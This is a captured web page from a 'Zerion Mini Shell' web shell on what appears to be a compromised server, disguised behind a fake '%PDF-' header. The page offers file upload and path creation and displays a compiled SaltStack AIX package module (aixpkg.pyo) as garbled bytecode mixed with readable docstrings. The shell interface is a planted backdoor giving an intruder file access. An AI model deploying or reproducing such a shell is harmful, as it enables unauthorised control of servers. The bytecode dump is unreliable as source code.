%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/aixpkg.pyo

�
���^c@@s)dZddlmZmZmZddlZddlZddlZddlZ	ddl
Z	ddlZ	ddlZ	ddl
mZeje�ZdZd�Zd�Zd�Zed	�Zd
�Zd�Zdedded�Zddd
�Zd�Ze	jjj ed�Z!d�Z"dS(u+
Package support for AIX

.. important::
    If you feel that Salt should be using this module to manage filesets or
    rpm packages on a minion, and it is using a different module (or gives an
    error similar to *'pkg.install' is not available*), see :ref:`here
    <module-provider-override>`.
i(tabsolute_importtprint_functiontunicode_literalsN(tCommandExecutionErrorupkgcC@stddkrtStdfS(u5
    Set the virtual pkg module if the os is AIX
    u	os_familyuAIXu&Did not load AIX module on non-AIX OS.(t
__grains__t__virtualname__tFalse(((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pyt__virtual__ sc	C@s�i}dd|g}td|dt�j�}d}d}t}x�|D]�}|jd�reqJn|jd�}t|�dkr�td	d
i|dj�d6��nd
|dkr�|d}t}n
|d}|d}PqJW|||fS(uF
    Return name, version and if rpm package for specified target
    u/usr/bin/lslppu-Lcucmd.runtpython_shelluu#u:iu&Error occurred finding fileset/packagetinfoiuerrorsuRiii(	t__salt__Rt
splitlinest
startswithtsplittlenRtstriptTrue(	ttargettrettcmdtlinestnametversion_numtrpmpkgtlinetcomps((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pyt
_check_pkg*s.

	

cC@s#dd|g}td|�dkS(uP
    Returns True if the rpm package is installed. Otherwise returns False.
    u/usr/bin/rpmu-qucmd.retcodei(R
(RR((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pyt_is_installed_rpmNsc
K@s�i}tjjj|�}tgdD]$}tjjj|j|��^q%�rV|Sdtkr�|rptdStjtd�}t	d|�|Snd}t	d|dt
�j�}x�|D]�}|jd�r�q�n|j
d	�}t|�d
krq�nd|dkr |d
}n
|d}|d}	t	d|||	�q�Wt	d|�tj|�td<|s�t	d|�n|S(u�
    List the filesets/rpm packages currently installed as a dict:

    .. code-block:: python

        {'<package_name>': '<version>'}

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.list_pkgs
    uremovedu
purge_desiredu
pkg.list_pkgsupkg_resource.stringifyu/usr/bin/lslpp -Lcucmd.runRu#u:iuRiiiiupkg_resource.add_pkgupkg_resource.sort_pkglist(uremovedu
purge_desired(tsalttutilstdatatis_truetanytgett__context__tcopytdeepcopyR
RRRR
R(
tversions_as_listtkwargsRtxRRRRRR((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pyt	list_pkgsVsF1





cO@std||�S(u�
    Common interface for obtaining the version of installed fileset/rpm package.

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.version vim
        salt '*' pkg.version foo bar baz
    upkg_resource.version(R
(tnamesR&((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pytversion�scK@s#dd|g}td|�dkS(u�
    Returns True if the fileset/rpm package is installed. Otherwise returns False.

    CLI Example:

    .. code-block:: bash

        salt '*' pkg._is_installed bash
    u/usr/bin/lslppu-Lcucmd.retcodei(R
(RR&R((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pyt
_is_installed�s
cK@s�|rtjjj|�n|g}|s.iS|rPtjdj||��nt�}g}x"|D]}	tj	j
|	�}
|
jd�r�t|
j
d�d�r�qfnd}|r�|d7}nd||	g}td|d	d
�}
not|	�r�qfnd}|r|d7}n|d
7}tj	j|	�}||d|
7}td|d	d
�}
d|
dkrf|j|
d�qfqfWtjdd�t�}tjjj||�}|r�tddi|d6|d6��n|r�dS|S(u
    Install the named fileset(s)/rpm package(s).

    name
        The name of the fileset or rpm package to be installed.

    refresh
        Whether or not to update the yum database before executing.


    Multiple Package Installation Options:

    pkgs
        A list of filesets and/or rpm packages to install.
        Must be passed as a python list. The ``name`` parameter will be
        ignored if this option is passed.

    version
        Install a specific version of a fileset/rpm package.
        (Unused at present).

    test
        Verify that command functions correctly:

    Returns a dict containing the new fileset(s)/rpm package(s) names and versions:

        {'<package>': {'old': '<old-version>',
                       'new': '<new-version>'}}

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.install /stage/middleware/AIX/bash-4.2-3.aix6.1.ppc.rpm
        salt '*' pkg.install /stage/middleware/AIX/bash-4.2-3.aix6.1.ppc.rpm refresh=True
        salt '*' pkg.install /stage/middleware/AIX/VIOS2211_update/tpc_4.1.1.85.bff
        salt '*' pkg.install /stage/middleware/AIX/Xlc/usr/sys/inst.images/xlC.rte
        salt '*' pkg.install /stage/middleware/AIX/Firefox/ppc-AIX53/Firefox.base
        salt '*' pkg.install pkgs='["foo", "bar"]'
    u1Removing these fileset(s)/rpm package(s) {0}: {1}u.rpmu.aixiu -Uivh u --testu/usr/bin/rpmucmd.run_alltoutput_loglevelutraceu/usr/sbin/installp -acYXgupu -d u uretcodeustderru
pkg.list_pkgsu6Problems encountered installing filesets(s)/package(s)R	uchangesuerrorsuTest succeeded.N(RRtargstsplit_inputtlogtdebugtformatR(tostpathtbasenametendswithRR
R
R+tdirnametappendR"tpoptNoneRt
compare_dictsR(RtrefreshtpkgsR*ttestR&ttargetstoldterrorsRtfilenametcmdflagsRtouttdirpathtnewR((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pytinstall�sR)$	



	cK@ss|rtjjj|�n|g}|s.iS|rPtjdj||��ng}t�}x�|D]�}yt|�\}}}	Wn6t	k
r�}
|
j
rf|j|
j
d�qfqfnX|	r�dd|g}td|dd�}qfdd	|g}td|dd�}qfWt
jd
d�t�}
tjjj||
�}|rot	ddi|d
6|d6��n|S(u�
    Remove specified fileset(s)/rpm package(s).

    name
        The name of the fileset or rpm package to be deleted.


    Multiple Package Options:

    pkgs
        A list of filesets and/or rpm packages to delete.
        Must be passed as a python list. The ``name`` parameter will be
        ignored if this option is passed.


    Returns a list containing the removed packages.

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.remove <fileset/rpm package name>
        salt '*' pkg.remove tcsh
        salt '*' pkg.remove xlC.rte
        salt '*' pkg.remove Firefox.base.adt
        salt '*' pkg.remove pkgs='["foo", "bar"]'
    u1Removing these fileset(s)/rpm package(s) {0}: {1}uerrorsu/usr/bin/rpmu-eucmd.run_allR,utraceu/usr/sbin/installpu-uu
pkg.list_pkgsu4Problems encountered removing filesets(s)/package(s)R	uchangesN(RRR-R.R/R0R1R(RRR	R7R
R"R8R9RR:(RR<R&R>R@R?Rtnamedt
versionpkgRtexcRRCRER((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pytremove"s<$	
		cO@s]|jdt�i}|s dSx|D]}d||<q'Wt|�dkrY||dS|S(u�
    Return the latest version of the named fileset/rpm package available for
    upgrade or installation. If more than one fileset/rpm package name is
    specified, a dict of name/version pairs is returned.

    If the latest version of a given fileset/rpm package is already installed,
    an empty string will be returned for that package.


    CLI Example:

    .. code-block:: bash

        salt '*' pkg.latest_version <package name>
        salt '*' pkg.latest_version <package1> <package2> <package3> ...

    NOTE: Repositories are not presently supported for AIX.
    This function will always return an empty string for a given
    fileset/rpm package.
    urefreshuii(R8RR(R)R&RR((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pytlatest_versionls
uavailable_versioncC@st|�dkS(u�
    Check whether or not an upgrade is available for a given package

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.upgrade_available <package name>
    u(RK(R((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pytupgrade_available�s
(#t__doc__t
__future__RRRR2R#tloggingtsalt.utils.dataRtsalt.utils.functoolstsalt.utils.pathtsalt.utils.pkgtsalt.exceptionsRt	getLoggert__name__R/RRRRRR(R*R+R9RFRJRKRt	functoolstalias_functiontavailable_versionRL(((s7/usr/lib/python2.7/site-packages/salt/modules/aixpkg.pyt<module>
s,	
	$	J		fJ	$

Zerion Mini Shell 1.0